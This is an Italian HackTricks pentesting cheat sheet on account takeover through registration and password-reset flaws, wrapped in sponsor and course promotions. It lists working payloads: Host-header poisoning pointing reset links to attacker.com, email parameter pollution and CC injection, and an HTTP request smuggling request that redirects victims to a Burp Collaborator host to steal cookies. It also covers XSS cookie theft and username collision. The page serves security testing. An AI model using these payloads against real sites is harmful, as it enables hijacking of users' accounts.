hacktricks/pentesting-web/registration-vulnerabilities.md

229 lines
11 KiB
Markdown
Raw Normal View History

# Vulnerabilità di Registrazione e Takeover
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2024-02-03 14:45:32 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
2024-02-10 13:03:23 +00:00
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
2022-04-28 16:01:33 +00:00
</details>
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**.
Il loro obiettivo principale di WhiteIntel è combattere i takeover degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.
Puoi visitare il loro sito web e provare il loro motore gratuitamente su:
2022-04-28 16:01:33 +00:00
{% embed url="https://whiteintel.io" %}
2021-06-27 14:55:59 +00:00
***
2021-06-27 14:55:59 +00:00
## Takeover di Registrazione
2021-06-27 14:55:59 +00:00
### Registrazione Duplicata
2021-06-27 14:55:59 +00:00
* Prova a generare utilizzando un username esistente
* Controlla variando l'email:
* maiuscole
* \+1@
* aggiungi qualche punto nell'email
* caratteri speciali nel nome dell'email (%00, %09, %20)
* Metti caratteri neri dopo l'email: `test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
2021-06-27 14:55:59 +00:00
### Enumerazione degli Username
2021-06-27 14:55:59 +00:00
Controlla se riesci a capire quando un username è già stato registrato all'interno dell'applicazione.
2021-06-27 14:55:59 +00:00
### Politica delle Password
2021-06-27 14:55:59 +00:00
Creando un utente controlla la politica delle password (controlla se puoi usare password deboli).\
In tal caso potresti provare a forzare le credenziali.
### Iniezione SQL
[**Controlla questa pagina** ](sql-injection/#insert-statement)per imparare come tentare takeover degli account o estrarre informazioni tramite **Iniezioni SQL** nei moduli di registrazione.
### Takeover di Oauth
2021-06-27 14:55:59 +00:00
2023-02-16 18:26:56 +00:00
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
{% endcontent-ref %}
2021-06-27 14:55:59 +00:00
### Vulnerabilità SAML
2021-06-27 14:55:59 +00:00
{% content-ref url="saml-attacks/" %}
[saml-attacks](saml-attacks/)
{% endcontent-ref %}
### Cambio Email
Dopo esserti registrato prova a cambiare l'email e controlla se questa modifica viene correttamente convalidata o se puoi cambiarla con email arbitrarie.
2021-06-27 14:55:59 +00:00
### Altri Controlli
2021-06-27 14:55:59 +00:00
* Controlla se puoi usare **email usa e getta**
2024-02-10 13:03:23 +00:00
* **Password** **lunga** (>200) porta a **DoS**
* **Controlla i limiti di velocità sulla creazione dell'account**
* Usa username@**burp\_collab**.net e analizza il **callback**
2021-11-30 00:17:48 +00:00
## **Takeover del Reset della Password**
2021-11-30 00:17:48 +00:00
### Fuga del Token di Reset della Password tramite Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
2021-11-30 00:17:48 +00:00
2024-02-10 13:03:23 +00:00
1. Richiedi il reset della password al tuo indirizzo email
2. Clicca sul link di reset della password
2024-02-10 13:03:23 +00:00
3. Non cambiare la password
4. Clicca su qualsiasi sito di terze parti (es: Facebook, Twitter)
5. Intercetta la richiesta nel proxy di Burp Suite
6. Controlla se l'intestazione referer sta rilasciando il token di reset della password.
2021-11-30 00:17:48 +00:00
### Avvelenamento del Reset della Password <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
2021-11-30 00:17:48 +00:00
1. Intercetta la richiesta di reset della password in Burp Suite
2. Aggiungi o modifica le seguenti intestazioni in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Inoltra la richiesta con l'intestazione modificata\
2024-02-10 13:03:23 +00:00
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Cerca un URL di reset della password basato sull'_intestazione host_ come : `https://attacker.com/reset-password.php?token=TOKEN`
2021-11-30 00:17:48 +00:00
### Reset della Password tramite Parametro Email <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
2021-11-30 00:17:48 +00:00
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR sui Parametri dell'API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
2021-11-30 00:17:48 +00:00
1. L'attaccante deve effettuare il login con il proprio account e accedere alla funzionalità di **Modifica password**.
2024-02-10 13:03:23 +00:00
2. Avviare Burp Suite e intercettare la richiesta.
3. Inviare la richiesta alla scheda repeater e modificare i parametri: ID Utente/email\
`powershell POST /api/changepass [...] ("form": {"email":"vittima@email.com","password":"passwordsicura"})`
2021-11-30 00:17:48 +00:00
### Token di Reset Password Debole <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
2021-11-30 00:17:48 +00:00
Il token di reset password dovrebbe essere generato casualmente e univoco ogni volta.\
Provare a determinare se il token scade o se è sempre lo stesso, in alcuni casi l'algoritmo di generazione è debole e può essere indovinato. Le seguenti variabili potrebbero essere utilizzate dall'algoritmo.
2021-11-30 00:17:48 +00:00
* Timestamp
* ID Utente
* Email dell'Utente
* Nome e Cognome
* Data di Nascita
2024-02-10 13:03:23 +00:00
* Crittografia
* Solo numeri
* Sequenza di token breve (caratteri tra \[A-Z,a-z,0-9])
* Riutilizzo del token
* Data di scadenza del token
2021-11-30 00:17:48 +00:00
### Token di Reset Password che Viene Divulgato <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
2021-11-30 00:17:48 +00:00
1. Inviare una richiesta di reset password utilizzando l'API/UI per un'email specifica, ad esempio: testo@mail.com
2. Ispezionare la risposta del server e controllare il `resetToken`
3. Quindi utilizzare il token in un URL come `https://esempio.com/v3/utente/password/reset?resetToken=[IL_RESET_TOKEN]&email=[LA_MAIL]`
2021-11-30 00:17:48 +00:00
### Reset Password Attraverso Collisione di Username <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
2021-11-30 00:17:48 +00:00
1. Registrarsi nel sistema con un username identico a quello dell'utente vittima, ma con spazi bianchi inseriti prima e/o dopo l'username, ad esempio: `"admin "`
2. Richiedere un reset password con il proprio username malintenzionato.
3. Utilizzare il token inviato alla propria email e reimpostare la password della vittima.
4. Accedere all'account della vittima con la nuova password.
2021-11-30 00:17:48 +00:00
2024-02-10 13:03:23 +00:00
La piattaforma CTFd era vulnerabile a questo attacco.\
Vedere: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
2021-11-30 00:17:48 +00:00
### Presa del Controllo dell'Account Attraverso Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
2021-11-30 00:17:48 +00:00
1. Trovare un XSS all'interno dell'applicazione o di un sottodominio se i cookie sono limitati al dominio principale: `*.dominio.com`
2. Divulgare il **cookie di sessione** attuale
3. Autenticarsi come l'utente utilizzando il cookie
2021-11-30 00:17:48 +00:00
### Presa del Controllo dell'Account Attraverso Smuggling di Richieste HTTP <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
2021-11-30 00:17:48 +00:00
1. Utilizzare **smuggler** per rilevare il tipo di Smuggling di Richieste HTTP (CL, TE, CL.TE)\
2021-11-30 00:17:48 +00:00
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2. Creare una richiesta che sovrascriverà il `POST / HTTP/1.1` con i seguenti dati:\
`GET http://qualcosa.burpcollaborator.net HTTP/1.1 X:` con l'obiettivo di reindirizzare le vittime a burpcollab e rubare i loro cookie\
3. La richiesta finale potrebbe assomigliare alla seguente
2021-11-30 00:17:48 +00:00
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackerone segnala l'exploit di questo bug\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### Takeover dell'account tramite CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
2021-11-30 00:17:48 +00:00
1. Creare un payload per il CSRF, ad esempio: "Modulo HTML con invio automatico per un cambio password"
2024-02-10 13:03:23 +00:00
2. Inviare il payload
2021-11-30 00:17:48 +00:00
### Takeover dell'account tramite JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
2021-11-30 00:17:48 +00:00
2024-02-10 13:03:23 +00:00
Il JSON Web Token potrebbe essere utilizzato per autenticare un utente.
2021-11-30 00:17:48 +00:00
2024-02-10 13:03:23 +00:00
* Modificare il JWT con un altro ID utente / Email
* Verificare una firma JWT debole
2021-11-30 00:17:48 +00:00
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
{% endcontent-ref %}
2024-02-10 13:03:23 +00:00
## Riferimenti
2021-11-30 00:17:48 +00:00
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
2022-04-28 16:01:33 +00:00
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**.
Il loro obiettivo principale è combattere i takeover degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.
Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su:
{% embed url="https://whiteintel.io" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2024-02-03 14:45:32 +00:00
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
2022-04-28 16:01:33 +00:00
</details>